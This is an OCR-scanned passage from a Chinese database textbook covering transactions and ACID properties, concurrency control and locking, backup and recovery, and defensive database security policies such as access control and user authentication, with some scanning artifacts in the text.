(2) 默认 值 Cdefault) 。 为 列 自动 定义 的 值 , 当 插入 一 行 且 某 列 无 定义 值 时 , 则 此 列 使 
用 默认 值 ,默认 值 可 选 为 常量 ,数学 表达 式 、 内 部 函数 之 一 。 

(3) 约束 (constraint) 。 约 束 条 件 定义 数据 的 完整 性 和 有 效 性 。 可 为 列 中 的 值 建立 
规则 。 在 触发 器 和 规则 上 保证 数据 完整 性 和 有 效 性 的 选择 。 

(4) 触发 器 (trigger)。 是 一 种 特殊 类 型 的 存储 过 程 , 当 在 指定 表 中 使 用 数据 修改 操 
作 update ,insert 或 delete 对 数据 进行 修改 时 生效 。 是 一 个 T-SQL 命令 集 , 作 为 一 个 对 
象 存储 在 数据 库 中 ,可 查询 其 他 表 且 可 包含 复杂 的 SQL 语句 。 
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为 了 有 效 地 充分 利用 网 络 资源 ,可 能 出 现 多 用 户 通过 网 络 同时 操作 多 个 程序 的 多 个 
进程 并 行 运行 , 即 数据 库 的 并 行 操作 。 并 发 事件 指 在 实现 网 络 多 用 户 共享 数据 时 ,多 个 
用 户 同 时 存 取 数据 的 事件 。 对 并 发 事件 的 有 效 控制 称 为 并 发 控制 。 数 据 库 的 优势 是 为 
可 串 行 运行 的 多 个 应 用 程序 共享 数据 资源 , 当 数 据 量 很 大 时 , 常 需要 进行 输入 输出 交换 。 
在 多 用 户 数据 库 环境 中 ,多 用 户 程序 可 并 行 地 存 取 数据 库 , 需 要 进行 并 发 控制 ,以 保证 数 
据 一 致 性 。 


1. 事务 的 概念 


数据 库 的 并 发 控制 是 对 多 用 户 程 序 并 行 读 取 的 控制 机 制 ,目的 是 避免 数据 丢失 修 
改 、 无 效 数据 的 读 出 与 不 可 重复 读数 据 现象 的 发 生 , 从 而 保持 数据 的 一 致 性 。 
事务 (transaction) 是 数据 库 处 理 并 发 控制 的 基本 单位 ,是 用 户 定义 的 一 组 操作 序列 。 
并 发 控制 以 事务 为 单位 。 一 个 事务 可 以 是 一 组 (或 一 条 )SQL 语句 或 模块 程序 。 事务 的 
开始 或 结束 都 可 以 由 用 户 显 式 控制 , 若 用 户 没有 显 式 地 定义 事务 , 则 由 数据 库 系统 按 默 
认 规 定 自动 划分 事务 。 对 事务 的 操作 实行 “要么 都 做 ,要 么 都 不 做 "原则 ,将 事务 作为 一 
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个 不 可 分 割 的 工作 单位 。 具 有 以 下 4 种 属性 ( 合 称 ACID 特性 ) 的 逻辑 处 理 才 称 为 事务 : 

(1) 原子 性 (atomic)。 事 务 的 原子 性 保证 事务 包含 的 一 组 更 新 操作 是 原子 不 可 分 
的 , 即 这 些 操 作 是 一 个 整体 ,对 数据 库 而 言 全 做 或 者 全 不 做 ,不 能 部 分 完成 。 系 统 对 磁盘 
上 的 任何 实际 数据 的 修改 之 前 都 会 将 修改 操作 本 身 的 信息 记录 到 磁盘 上 。 当 发 生前 溃 
时 ,系统 能 根据 这 些 操作 记录 当时 该 事务 处 于 何 种 状态 ,以 此 确定 是 撤销 该 事务 所 做 出 
的 所 有 修改 操作 ,还 是 将 修改 的 操作 重新 执行 。 

(2) 一 致 性 (consistency)。 逻 辑 处 理 的 一 致 性 要 求 事务 执行 完成 后 ,将 数据 库 从 一 
个 一 致 状态 转变 到 另 一 个 一 致 状态 。 例 如 转账 操作 中 ,各 账户 金额 必须 平衡 ,由 此 可 见 ， 
一 致 性 与 原子 性 是 密切 相关 的 。 事 务 的 一 致 性 属性 要 求 事务 在 并 发 执行 的 情况 下 仍然 
满足 事务 的 一 致 性 。 

(3) 隔离 性 (isolation) 。 指 一 个 事务 的 执行 不 能 被 其 他 事务 干扰 。 即 一 个 事务 内 部 
的 操作 及 使 用 的 数据 对 并 发 的 其 他 事务 是 隔离 的 ,并 发 执行 的 各 事务 间 不 能 互相 干扰 。 

(4) 持久 性 Cdurability)。 持 久 性 保证 一 旦 事务 提交 ,对 数据 库 所 做 的 修改 将 是 持久 
的 ,无 论 发 生 何 种 机 器 和 系统 故障 ,都 不 应 该 对 其 有 任何 影响 。 如 A TM 机 在 向 客户 支付 
一 笔 钱 时 ,不 用 担心 丢失 客户 的 取款 记录 。 事 务 的 持久 性 保证 事务 对 数据 库 的 影响 是 持 
久 的 ,即使 系统 崩溃 也 不 会 改变 。 


2. 并 发 操作 与 数据 的 不 一 致 性 


【案例 9-7〗 在 飞机 票 售 票 中 ,有 两 个 订 票 网 (Ti Ts) 对 某 航 线 (A) 的 机 票 做 事务 处 
理 ,操作 过 程 如 表 9-1 所 示 。 


表 9-1 售票 操作 对 数据 库 的 修改 内 容 


数据 库 中 A 的 值 1 1 1 1 0 0 
T, 操作 read A A:=A 一 1 write A 
T, 操作 read A A:=A—1 write A 
T, 工作 区 中 A 的 值 1 1 0 0 0 0 
T, 工作 区 中 A 的 值 1 1 0 0 0 


首先 订 票 网 Tik A, 然 后 订 票 网 Ts 也 读 A。 接 着 T1 将 其 工作 区 中 的 A 减 1,Ts 也 
同样 ,都 得 0 值 ,最 后 分 别 将 0 值 写 回 数 据 库 。 在 这 过 程 中 没有 任何 非法 操作 ,实际 上 却 
多 卖 出 一 张 机 票 。 

这 种 情况 称 为 数据 库 的 不 一 致 性 ,主要 是 并 行 操作 而 致 ,是 由 于 处 理 程序 工作 区 中 
的 数据 与 数据 库 中 的 数据 不 一 致 而 造成 的 。 如 果 处 理 程序 不 对 数据 库 中 的 数据 进行 修 
改 , 则 不 会 造成 不 一 致 。 另 外 ,如 果 没 有 并 行 操作 发 生 , 则 这 种 临时 的 不 一 致 也 不 会 出 现 
问题 。 

数据 库 不 一 致 性 分 为 以 下 4 类 : 

(1) 丢失 或 覆盖 更 新 。 当 两 个 或 多 个 事务 选择 同一 数据 ,并 且 基 于 最 初 选 定 的 值 更 
新 该 数据 时 ,会 发 生 丢失 更 新 问题 。 每 个 事务 都 不 知道 其 他 事务 的 存在 。 最 后 的 更 新 将 
重 写 由 其 他 事务 所 做 的 更 新 ,这 将 导致 数据 丢失 。 如 上 述 飞机 票 售票 问题 。 
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(2) 不 可 重复 读 。 在 一 个 事务 范围 内 ,两 个 相同 查询 将 返回 不 同 数据 ,这 是 由 于 查询 
注意 到 其 他 提交 事务 的 修改 而 引起 的 。 如 一 个 事务 重新 读 取 前 面 读 取 过 的 数据 ,发 现 该 
数据 已 经 被 男 一 个 已 提交 的 事务 修改 过 , 即 事务 1 读 取 某 一 数据 后 ,事务 2 对 其 做 了 修 
改 , 当 事务 1 再 次 读数 据 时 ,会 得 到 与 第 一 次 不 同 的 值 。 

(3) 读 脏 数据 。 指 一 个 事务 读 取 另 一 个 未 提交 的 并 行事 务 所 写 的 数据 。 当 第 二 个 事 
务 选择 其 他 事务 正在 更 新 行 时 ,会 发 生 未 确认 的 相关 性 问题 。 第 二 个 事务 正在 读 取 的 数 
据 还 没有 确认 并 可 能 由 更 新 此 行 的 事务 所 更 改 , 即 若 事务 T: 读 取 事 务 Ti 正在 修改 的 一 
值 (A) ,此 后 Ti 由 于 某 种 原因 撤销 对 该 值 的 修改 ,就 会 造成 T: 读 取 的 值 是 脏 的 。 

(4) 破坏 性 的 数据 定义 语言 DDL 操作 。 当 一 个 用 户 修改 一 个 表 的 数据 时 , 另 一 个 用 
户 同时 更 改 或 删除 该 表 。 


3. 并 发 控制 措施 


为 了 保持 数据 库 的 一 致 性 ,必须 控制 并 行 操作 ,最 常用 的 方法 是 对 数据 进行 封锁 。 

一 般 在 多 用 户 数据 库 中 采用 某 些 数据 封锁 以 解决 并 发 操作 中 的 数据 一 致 性 和 完整 
性 问题 。 封 锁 是 防止 存 取 同一 资源 的 用 户 之 间 破 坏 性 干扰 的 机 制 , 以 保证 随时 都 可 有 多 
个 正在 运行 的 事务 ,而 所 有 事务 都 在 相互 完全 隔离 的 环境 中 运行 。 

在 多 用 户 数据 库 中 ,采用 的 封锁 有 两 种 : 排 它 (专用 ) 锁 (也 称 X 锁 或 写 锁 ) 和 共享 锁 
(也 称 S 锁 或 读 锁 ) 。 排 它 锁 禁 止 相关 资源 的 共享 ,如 果 事 务 以 排 它 方式 封锁 资源 ,仅仅 
该 事务 可 更 改 该 资源 ,直至 释放 排 它 锁 。 共 享 锁 允 许 相关 资源 可 以 共享 , 几 个 用 户 可 同 
时 读 同一 数据 , 几 个 事务 可 在 同一 资源 上 获取 共享 锁 。 共 享 锁 比 排 它 锁具 有 更 高 的 数据 
并 行 性 。 

在 多 用 户 系统 中 使 用 封锁 后 可 能 会 出 现 死 锁 ,引起 一 些 事 务 难 以 正常 工作 。 当 多 个 
用 户 彼此 等 待 所 封锁 的 数据 时 可 能 就 会 出 现 死 锁 情况 。 

封锁 按照 对 象 不 同 也 可 分 为 数据 封锁 和 DDL(Data Definition Language, 数 据 定义 
语言 ) 封 锁 两 类 。 数 据 封 锁 保护 表 数 据 , 当 多 个 用 户 并 行 存 取 数据 时 保证 数据 的 完整 性 。 
数据 封锁 防止 相 冲 突 的 DML(Data Manipulation Language, 数 据 操 纵 语言 ) 和 DDL 操作 
的 破坏 性 干扰 。DML 操作 可 在 两 个 级 别 获 取 数 据 封锁 : 指定 行 封锁 和 整个 表 封 锁 ,在 防 
止 冲突 的 DDL 操作 时 也 需 对 表 进 行 封锁 。 当 行 要 被 修改 时 ,事务 在 该 行 获取 排 它 数据 
封锁 。 表 封锁 可 以 有 下 列 方式 : 行 共 享 . 行 排 它 .共享 封锁 .共享 行 排 它 和 排 它 封锁 。 
DDL 封锁 (字典 封锁 ) 保 护 模 式 对 象 (如 表 ) 的 定义 ,DDL 操作 将 影响 对 象 ,一 个 DDL 语 
句 隐 式 地 提交 一 个 事务 。 当 任何 DDL 事务 需要 时 由 数据 库 系统 自动 获取 字典 封锁 ,用 
户 不 能 显 式 地 请 求 DDL 封锁 。 在 DDL 操作 期 间 ,被 修改 或 引用 的 模式 对 象 被 封锁 。 
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由 于 突 发 的 意外 事故 可 能 导致 出 现 系统 问题 ,因此 ,必须 采取 有 效 预防 和 应 急 措施 
以 确保 数据 库 及 数据 的 安全 ,并 尽快 进行 恢复 。 
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1. 数据 库 的 备份 


数据 库 备份 (database backup) 是 指 为 防止 系统 出 现 操作 失误 或 系统 故障 导致 数据 
丢失 ,而 将 数据 库 的 全 部 或 部 分 数据 复制 到 其 他 存储 介质 的 过 程 。 

如 果 数 据 库 系统 一 旦 出 现 故障 ,数据 库 或 数据 就 可 能 遭 到 破坏 .丢失 或 不 可 用 。 其 
产生 的 主要 原因 包括 人 为 攻击 或 失误 、 网 络 故障 .设备 故障 . 断 电 、 不 正确 的 或 无 效 的 数 
据 ,程序 错误 、 有 冲突 的 事务 或 自然 灾害 等 。 保 护 数 据 库 及 其 所 有 关键 数据 ,并 在 数据 发 
生意 外 时 能 够 及 时 恢复 。 可 通过 DBMS 具备 的 应 急 机 制 实现 数据 库 的 备份 与 恢复 。 

数据 备份 是 保证 系统 安全 的 一 项 重要 预防 措施 ,在 制订 备份 策略 时 需 着 重 考虑 3 个 
方面 。 

1) 备份 内 容 与 频率 

(1) 备份 内 容 。 备 份 时 应 将 数据 库 中 的 全 部 数据 、 表 (结构 ) 数据 库 用 户 ( 包 括 用 户 
和 用 户 操 作 权 ) 及 用 户 定义 的 数据 库 对 象 进行 备份 ,并 备份 记录 数据 库 变 更 的 日 志 等 。 

(2) 备份 频率 。 应 由 数据 库 中 数据 内 容 的 重要 程度 、 对 数据 恢复 作用 的 大 小 以 及 数 
据 量 的 大 小 确定 ,并 考虑 数据 库 的 事务 类 型 ( 读 操作 多 还 是 写 操作 多 ) 和 事故 发 生 的 频 
率 等 。 

不 同 的 DBMS 提供 的 备份 种 类 不 尽 相同 。 普 通 数据 库 可 以 每 周 备份 一 次 ,事务 日 志 
可 以 每 日 备份 一 次 。 对 于 一 些 重要 的 联机 事务 处 理 数据 库 可 每 日 备份 ,事务 日 志 则 每 隔 
几 小 时 备份 一 次 。 由 此 可 见 ,日 志 的 备份 速度 比 数 据 库 备 份 快 并 且 频 率 高 ,而 在 进行 数 
据 恢复 时 ,采用 日 志 备份 进行 恢复 所 需要 的 时 间 却 较 长 。 

2) 备份 技术 

最 常用 的 数据 备份 技术 是 数据 转 存 和 撰写 日 志 。 

(1) 数据 转 存 。 是 将 整个 数据 库 复 制 到 另 一 个 磁盘 进行 保存 的 过 程 。 当 数据 库 章 到 
破坏 时 ,可 利用 转 存 的 备份 重新 恢复 并 更 新 事务 。 

数据 转 存 可 分 为 静态 转 存 和 动态 转 存 。 静 态 转 存 要 求 一 切 事务 必须 在 静态 转 存 前 
结束 ,新 的 事务 必须 在 转 存 结束 后 开始 , 即 在 转 存 期 间 不 允许 对 数据 库 进行 存 取 或 修改 
等 操作 。 动 态 转 存 对 数据 库 中 数据 的 操作 无 严格 限制 , 转 存 和 事务 可 同时 并 发 进行 。 

鉴于 数据 转 存 效率 数据 存储 空间 等 相关 因素 ,数据 转 存 可 以 考虑 完全 转 存 (备份 ) 
与 增 量 转 存 (备份 ) 两 种 方式 。 完 全 转 存 指 每 次 存储 全 部 数据 库 的 内 容 , 增 量 转 存 指 每 次 
只 转 存 上 一 次 转 存 后 更 新 过 的 内 容 。 

(2) 撰写 日 志 。 日 志文 件 是 记录 数据 库 更 新 操作 的 文件 。 用 于 在 数据 库 恢复 中 进行 
事务 故障 恢复 .系统 故障 恢复 工作 , 当 副 本 载 和 人 时 将 数据 库 恢 复 到 转 存 结束 时 刻 的 正确 
状态 ,并 可 以 把 故障 系统 中 已 完成 的 事务 进行 重 做 处 理 。 

不 同 数据 库 采 用 的 日 志文 件 格式 各 异 。 日 志文 件 主要 有 两 种 格式 : 以 记录 为 单位 和 
以 数据 块 为 单位 。 前 者 记录 有 各 事务 开始 (Begin Transaction) 标 记 、 结 束 (提交 Commt 
或 退回 Rollback) 标 记 和 更 新 操作 等 。 后 者 包括 事务 标识 和 更 新 的 数据 块 。 

为 了 保证 数据 库 的 可 恢复 性 ,撰写 日 志文 件 应 遵循 两 条 原则 : 撰写 的 次 序 严格 按照 
并 发 事务 执行 的 时 间 次 序 , 应 先 写 日 志文 件 后 写 数据 库 。 此 后 ,如 果 没 有 完成 写 数据 库 
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操作 也 不 会 影响 数据 库 的 正确 性 。 

3) 基本 工具 

可 利用 DBMS 提供 的 基本 工具 备份 数据 库 。 备 份 工具 提供 对 部 分 或 整个 数据 库 的 
定期 备份 副本 。 日 志 工 具 维 护 事务 和 数据 库 变 化 的 审计 跟踪 。 通 过 检查 点 工具 ,DBMS 
定期 挂 起 所 有 处 理 , 并 使 其 文件 和 日 志保 持 同步 ,以 建立 恢复 点 。 

(1) 备份 工具 。DBMS 可 提供 备份 工具 (back-up facilities) ,产生 整个 数据 库 以 及 控 
制 文件 和 日 志 的 备份 副本 (或 保存 )。 除 数据 库 文件 外 ,备份 工具 还 应 该 创建 相关 数据 库 
对 象 的 副本 ,包括 存储 库 ( 或 系统 目录 ) 数据 库 索 引 、 源 代码 库 等 。 

(2) 日 志 工 具 。 用 DBMS 提供 的 日 志 工 具 对 事务 和 数据 库 变 化 进行 审计 跟踪 。 一 
旦 发 生 故 障 ,使 用 日 志 中 的 信息 和 最 新 备份 重建 一 致 的 数据 库 。 有 两 种 基本 日 志 : 一 是 
事务 日 志 , 包 括 对 数据 库 处 理 的 每 个 事务 的 基本 数据 的 记录 。 二 是 数据 库 变化 日 志 , 包 
括 已 被 事务 修改 记录 的 前 像 和 后 像 。 前 像 是 记录 被 修改 之 前 的 副本 ,后 像 是 相同 的 记录 
被 修改 之 后 的 副本 。 有 些 系统 也 保存 安全 日 志 , 并 可 对 发 生 或 可 能 发 生 的 入侵 等 行为 发 
出 报警 。 

(3) 检查 点 工具 。DBMS 中 的 检查 点 工具 定期 拒绝 接受 任何 新 事务 。 所 有 进行 中 的 
事务 被 完成 ,并 使 日 志文 件 保持 最 新 。DBMS 将 一 个 特定 的 记录 ( 称 为 检查 点 记录 ) 写 和 人 
日 志文 件 中 ,记录 下 含 重 启 系统 必需 的 信息 ,并 将 脏 数 据 块 (包含 尚未 写 到 磁盘 中 的 变化 
的 存储 页 面 ) 从 内 存 写 到 磁盘 存储 器 中 ,确保 实施 检查 点 之 前 的 所 有 变化 都 已 写 人 可 长 
期 保存 的 存储 器 中 。 


2. 数据 库 的 恢复 


数据 库 恢 复 (database recovery) 是 指 当 数据 库 或 数据 遭 到 破坏 时 ,通过 技术 手段 快 
速 准确 地 进行 恢复 的 过 程 。 对 于 不 同 故障 ,数据 库 恢 复 的 策略 和 方法 不 尽 相同 。 

1) 恢复 策略 

(1) 事务 故障 恢复 。 事 务 在 正常 结束 点 前 就 终止 运行 的 现象 称 为 事务 故障 。 由 
DBMS 可 自动 完成 其 恢复 。 主 要 利用 日 志文 件 撤销 故障 事务 对 数据 库 所 进行 的 修改 。 
事务 故障 恢复 步骤 如 下 : 首先 对 事务 日 志文 件 中 的 日 志 按照 时 间 顺 序 进行 反 向 扫 
描 ,查找 事务 结束 标志 ,并 确定 该 事务 最 后 一 条 更 新 操作 ,定位 后 对 该 事务 所 做 的 更 新 操 
作 执 行 逆 过 程 。 依 次 按照 上 述 步骤 执行 扫描 、 定 位 、 撤 销 操 作 ,直至 读 到 该 事务 的 开始 
标记 。 

(2) 系统 故障 恢复 。 通 常 ,系统 故障 造成 数据 库 状 态 不 一 致 的 原因 主要 有 两 个 : 一 
是 事务 没有 结束 ,但 对 数据 库 的 更 新 可 能 已 写 人 数据 库 ; 二 是 已 提交 的 事务 对 数据 库 的 
更 新 没有 完成 ( 写 人 数据 库 ) ,可 能 仍然 留 在 缓冲 区 中 。 恢 复 步 又 是 : 撤销 故障 发 生 时 没 
有 完成 的 事务 ,重新 开始 具体 执行 或 实现 事务 。 

(3) 介质 故障 恢复 。 此 故障 造成 磁盘 等 介质 上 的 物理 数据 库 和 日 志文 件 破坏 ,同上 
面 两 种 故障 相 比 ,介质 故障 是 最 严重 的 故障 ,只 能 利用 备份 重新 恢复 。 

2) 恢复 方法 

利用 数据 库 备 份 . 事 务 日 志 备份 等 可 将 数据 库 从 出 错 状 态 恢复 到 故障 前 的 正常 
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(1) 备份 恢复 。 数 据 库 维护 过 程 中 ,数据 库 管理 员 定期 对 数据 库 进行 备份 ,生成 数据 
库 瞬 时 正常 状态 的 备份 。 一 旦 发 生 故障 , 即 可 利用 备份 对 数据 库 进行 恢复 。 

(2) 事务 日 志 恢 复 。 由 于 事务 日 志 记 载 对 数据 库 进行 的 更 改 操作 ,并 记录 所 有 插入 、 
更 新 删除、 提交 、 回 退 和 数据 库 模式 变化 等 信息 ,因此 ,利用 事务 日 志文 件 可 以 恢复 没有 
完成 的 非 完 整 事务 , 即 从 非 完整 事务 当前 值 按 事务 日 志 记 录 的 顺序 撤销 已 执行 操作 , 直 
到 事务 开始 时 的 状态 为 止 ,一 般 可 由 系统 自动 完成 。 

(3) 镜像 技术 。 镜 像 是 指 在 不 同 设 备 上 同时 存储 两 个 相同 的 数据 库 , 一 个 称 为 主 数 
据 库 , 另 一 个 称 为 镜像 数据 库 。 主 数据 库 与 镜像 数据 库 互 为 镜像 关系 ,两 者 中 任何 一 个 
数据 库 的 更 新 都 会 及 时 反映 到 另 一 个 数据 库 中 。 例 如 ,当主 数据 库 更 新 时 ,DBMS 自动 
把 更 新 后 的 数据 复制 到 另 一 个 镜像 设备 (镜像 数据 库 所 在 的 设备 ) 上 ,确保 证 二 者 一 致 。 

3) 恢复 管理 器 

恢复 管理 器 是 DBMS 的 模块 之 一 。 当 故障 发 生 时 ,恢复 管理 器 先 将 数据 库 恢 复 到 一 
个 正确 的 状况 ,再 继续 进行 正常 处 理工 作 。 可 使 用 前 面 提 到 的 事务 日 志和 数据 库 变 化 日 
志 ( 根 据 需要 ,还 可 使 用 备份 ) 来 恢复 数据 库 。 

讨论 思考 

(1) 什么 是 数据 库 的 安全 性 和 完整 性 ? 

(2) 为 何 进行 数据 库 并 发 控制 ? 如 何 实施 ? 

(3) 数据 库 需 要 备份 哪些 内 容 ? 多 长 时 间 备 份 一 次 ? 

(4) 数据 库 恢 复方 法 包括 哪些 ? 


94 数据 库 安全 策略 和 机 制 


数据 库 安全 是 一 个 系统 工程 ,数据 的 安全 是 整个 数据 库 系 统 安 全 的 核心 ,直接 关系 
到 企业 的 发 展 与 生存 ,用户 的 重要 信息 等 。 采 取 行 之 有 效 的 安全 策略 和 机 制 ,防止 非法 
用 户 的 越权 访问 、 破 坏 或 自 改 ,才能 确保 数据 库 及 数据 安全 。 


941 数据 库 的 安全 策略 


由 于 网 络 数 据 库 系 统 的 运行 环境 和 管理 等 方面 都 可 能 具有 不 安全 因素 ,在 确保 实体 
安全 和 运行 安全 的 情况 下 ,还 应 遵循 一 定 的 安全 性 策略 ,以 保证 其 管理 等 方面 的 安全 。 


1. 安全 防范 策略 


1) 实体 安全 防护 策略 

由 于 网 络 数据 库 系统 涉及 数据 在 网 络 中 传递 ,所 以 除 遵循 单机 数据 库 的 安全 策略 ， 
建立 良好 的 电磁 兼容 环境 ,对 重要 设备 和 系统 设置 备份 系统 之 外 ,还 应 考虑 网 络 方面 的 
策略 ,网络 安全 设计 方案 应 符合 国家 有 关 规 定 ,网 络 数据 库 系 统 运 行 的 服务 器 、 网 络 设 
备 、 安 全 设备 也 要 进行 相关 的 安全 防范 ,做 到 实体 安全 “五 防 ” 等 。 
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2) 网 络 安全 防护 策略 

网 络 数据 库 以 网 络 系统 为 应 用 基础 ,只 有 在 网 络 系统 的 支持 下 才能 有 效 发 挥 功能 。 
对 数据 库 的 外 部 人 侵 首 先 从 入 侵 网 络 开始 .网 络 数 据 库 系统 的 网 络 安 全 策略 主要 表现 在 
对 数据 的 存 取 控 制 上 ,对 不 同 用 户 设置 不 同 权限 ,限制 一 些 用 户 的 访问 和 操作 ,避免 数据 
丢失 或 泄露 等 。 具体 涉 及 防火 墙 技术 、 防 病毒 技术 、 入 侵 检测 、 加 密 技术 ,并 在 统一 的 安 
全 框架 下 相互 补充 ,协调 工作 ,安全 防护 产品 不 能 出 现 新 的 漏洞 和 安全 隐患 。 


2. 安全 管理 防护 策略 


网 络 和 网 络 数据 库 系统 的 使 用 、 维 护 和 安全 运行 都 要 依靠 人 进行 管理 和 操作 ,因此 ， 
应 当 加 强 对 相关 人 员 的 管理 与 培训 。 

(1) 依据 国家 ,行业 等 相关 标准 和 准则 ,结合 具体 机 房 .硬件 软件 .数据 和 网 络 等 各 
个 方面 的 实际 安全 问题 ,制定 切实 可 行 的 规章 制度 。 

(2) 加 强 相关 人 员 的 培训 ,提高 管理 和 操作 水 平 ,对 系统 及 时 进行 升级 ,并 利用 最 新 
的 软件 工具 制定 、 分 配 .实施 和 审核 安全 策略 。 

(3) 强化 内 部 管理 ,建立 审计 和 跟踪 体系 ,提高 信息 安全 意识 。 

(4) 加 大 安全 宣传 教育 。 对 操作 人 员 结 合 实际 安全 问题 进行 安全 教育 ,严格 执行 操 
作 规章 ,提高 操作 人 员 的 责任 心 。 

保障 网 络 数据 库 系统 安全 不 仅 涉 及 应 用 技术 ,还 包括 管理 等 层面 上 的 问题 ,是 各 个 
防范 措施 综合 应 用 的 结果 ,是 物理 安全 、 网 络 安 全 ,管理 安全 等 方面 的 防范 策略 有 效 的 结 
合 。 在 具体 实施 时 ,应 根据 实际 情况 因地制宜 进行 分 析 , 采 取 相 应 的 有 效 措施 保护 网 络 
数据 库 系 统 乃 至 整个 网 络 系统 的 安全 。 同 时 , 随 着 网 络 数据 库 系统 的 发 展 ,对 网 络 数 据 
库 系统 的 攻击 方式 也 不 断 改变 ,网 络 数据 库 系统 的 安全 和 维护 工作 也 要 与 时 俱 进 、 合 理 
升级 更 新 技术 ,确保 网 络 数据 库 系 统 运 行 安全 。 


3. 数据 库 系统 安全 策略 


为 了 数据 库 系 统 的 安全 ,必须 加 强 安全 管理 策略 ,主要 包括 以 下 几 方 面 : 

(1) 数据 库 服务 器 的 配置 。 经 过 分 析 进 行 安全 配置 ,有 助 于 数据 库 系 统 安全 运行 。 

(2) 访问 控制 策略 。 是 安全 防范 的 主要 策略 ,任务 是 保证 数据 资源 不 被 非法 使 用 和 
非法 访问 。 同 时 加 强 账户 名 和 密码 管理 ,对 系统 账户 应 认真 设计 专用 的 账户 名 和 密码 ， 
禁用 系统 管理 员 账 户 。 对 数据 库 管理 员 (DBA) 账 户 密码 , 须 保证 混 码 高 安全 、 定 期 更 换 
且 长 度 在 8 位 以 上 。 

(3) 软件 安装 与 更 新 。 若 在 数据 库 服务 器 上 安装 新 软件 ,特别 是 数据 库 系统 的 补丁 ， 
须 由 管理 员 严 格 测试 并 经 过 审批 。 若 所 用 数据 系统 有 新 的 补丁 软件 发 布 ,应 及 时 掌握 新 
增 功能 和 解决 的 实际 问题 ,及 时 更 新 。 

(4) 数据 库 服务 器 服务 安全 。 为 了 确保 数据 库 专用 服务 器 的 安全 ,不 应 设立 和 和 运行 
其 他 服务 ,应 停止 已 有 的 其 他 服务 ,并 关闭 相应 的 开放 端口 。 

(5) 协议 及 端口 管理 。 数 据 库 系统 支持 多 种 协议 与 客户 端 进 行 交 换 , 应 安装 最 少 的 
必需 协议 。 如 SQL Server 支持 许多 协议 ,系统 可 选择 Named Pipe 协议 完成 数据 通信 ， 
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应 禁止 使 用 或 卸载 其 他 协议 ,并 关闭 TCP/IP Socket 的 1433 端口 。 

(6) 数据 加 密 与 应 急 预 防 。 数 据 加 密 是 数据 安全 的 基础 ,同时 必须 对 数据 库 系统 的 
关键 数据 进行 定期 备份 ,做 好 数据 安全 的 预防 和 应 急 。 如 对 于 SQL Server 系统 数据 库 
的 Master 数据 库 要 定期 备份 。 

(7) 数据 库 系 统 支持 操作 系统 账户 与 安全 性 集成 。 可 利用 操作 系统 强健 的 安全 特 
性 ,简化 应 用 开发 安全 控制 。 如 SQL Server 采用 Windows 的 集成 安全 性 , Window 的 账 
户 即 可 配置 并 访问 相关 数据 库 。 

(8) 利用 数据 库 独 立 的 安全 机 制 。 详 见 9. 4. 2 节 的 介绍 ,数据 库 用 户 名 /口令 等 要 求 
在 很 多 方面 与 操作 系统 用 户 / 口 令 规范 相似 。 

(9) 严格 定义 用 户 角色 。 用 户 角色 须根 据 具体 应 用 进行 严格 定义 ,主要 包括 存储 过 
程 及 授权 .数据库 表 及 授权 、 视 图 及 授权 等 。 

(10) 严格 管理 关键 数据 库 。 对 存储 重要 业务 数据 的 关键 数据 库 一 定 要 严格 进行 管 
理 ,建立 和 完善 严格 的 管理 制度 ,并 由 专人 负责 和 定期 检查 审计 。 


942 数据 库 的 安全 机 制 


数据 库 安全 作为 整个 网 络 安全 的 一 个 组 成 部 分 ,应 在 遵循 网 络 安全 总 体 目标 (保密 
性 .完整 性 、 可 用 性 、 可 靠 性 、 可 控 性 和 可 审查 性 ) 的 前 提 下 ,建立 安全 模型 ,构建 安全 体系 
结构 ,确定 安全 机 制 。 


1. 数据 库 安全 机 制 概述 


数据 库 的 安全 机 制 是 用 于 实现 数据 库 的 各 种 安全 策略 的 功能 集合 ,利用 这 些 安全 机 
制 不 仅 可 以 构建 安全 模型 ,而 且 可 以 实现 数据 库 系统 的 安全 目标 。 在 计算 机 系统 中 , 安 
全 机 制 及 措施 为 逐 级 设置 ,其 安全 模型 如 图 9-4 所 示 。 


DBMS | os Fo ps | 
用 户 标 识 和 鉴别 存 取 控制 操作 系统 安全 保护 数据 密码 存储 


图 9-4 数据 库 安全 机 制 


首先 ,用 户 登录 计算 机 系统 时 ,系统 对 输入 的 用 户 标 识 进行 用 户 身 份 鉴别 ,只 允许 合 
法 用 户 进 入 ;对 已 登录 系统 的 用 户 ,DBMS 要 进行 存 取 控制 ,只 允许 用 户 执行 合法 操作 ; 
操作 系统 级 也 有 本 层 保 护 措施 ;数据 最 后 以 密 文 形式 存储 在 数据 库 中 。 对 数据 库存 储 一 
级 可 采用 密码 技术 ,一 旦 存储 设备 失窃 .密码 技术 也 可 进行 保密 。 同 时 ,数据 库 系统 采取 
一 些 逻 辑 安全 机 制 , 主 要 包括 用 户 认证 ,访问 控制 ,视图 隔离 ,数据 加 密 和 审计 等 。 

1) 用 户 认 证 

数据 库 系 统 为 了 保护 授权 用 户 对 数据 库 的 操作 ,提供 了 用 户 身 份 识别 与 认证 机 制 。 
用 户 认 证 即 用 户 标识 与 鉴别 ,是 系统 提供 的 最 外 层 安 全 保护 措施 。 其 方法 是 由 系统 提供 
一 定 的 方式 让 用 户 标 识 其 用 户 名 或 身份 ,每 次 用 户 登 录 系 统 , 由 系统 进行 核对 ,通过 鉴别 
后 提供 使 用 权限 。 已 获得 使 用 权 的 用 户 若 要 使 用 数据 库 ,DBMS 还 要 进行 用 户 认 证 。 
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用 户 认 证 的 方法 有 很 多 种 ,而 且 在 一 个 系统 中 往往 多 种 方法 并 用 ,以 得 到 更 强 的 安 
全 性 。 常 用 的 方法 是 用 户 名 和 口令 。 

通过 用 户 名 和 口令 来 鉴定 用 户 的 方法 简单 易 行 ,但 其 可 靠 程度 极 差 ,容易 被 人 侵 者 
猜 出 或 测 得 。 因 此 ,设置 口令 法 对 安全 强度 要 求 比 较 高 的 系统 不 适用 。 近 年 来 ,一 些 更 
加 有 效 的 身份 认证 技术 迅速 发 展 起 来 。 如 使 用 智能 卡 技术 .生物 特征 (指纹 .声音 .虹膜 
等 ) 认 证 技术 等 具有 高 强度 的 身份 认证 技术 日 益 成 熟 ,并 取得 了 不 少 应 用 成 果 , 为 将 来 达 
到 更 高 的 安全 强度 要 求 打下 了 坚实 的 理论 基础 。 

2) 访问 控制 

数据 库 安全 性 主要 依靠 DBMS 的 访问 控制 机 制 。 通 过 数据 库 系 统 的 访问 控制 机 制 ， 
可 以 实现 只 限 授权 用 户 访问 数据 库 的 权限 。 访 问 控 制 是 数据 库 系统 内 部 对 已 登录 系统 
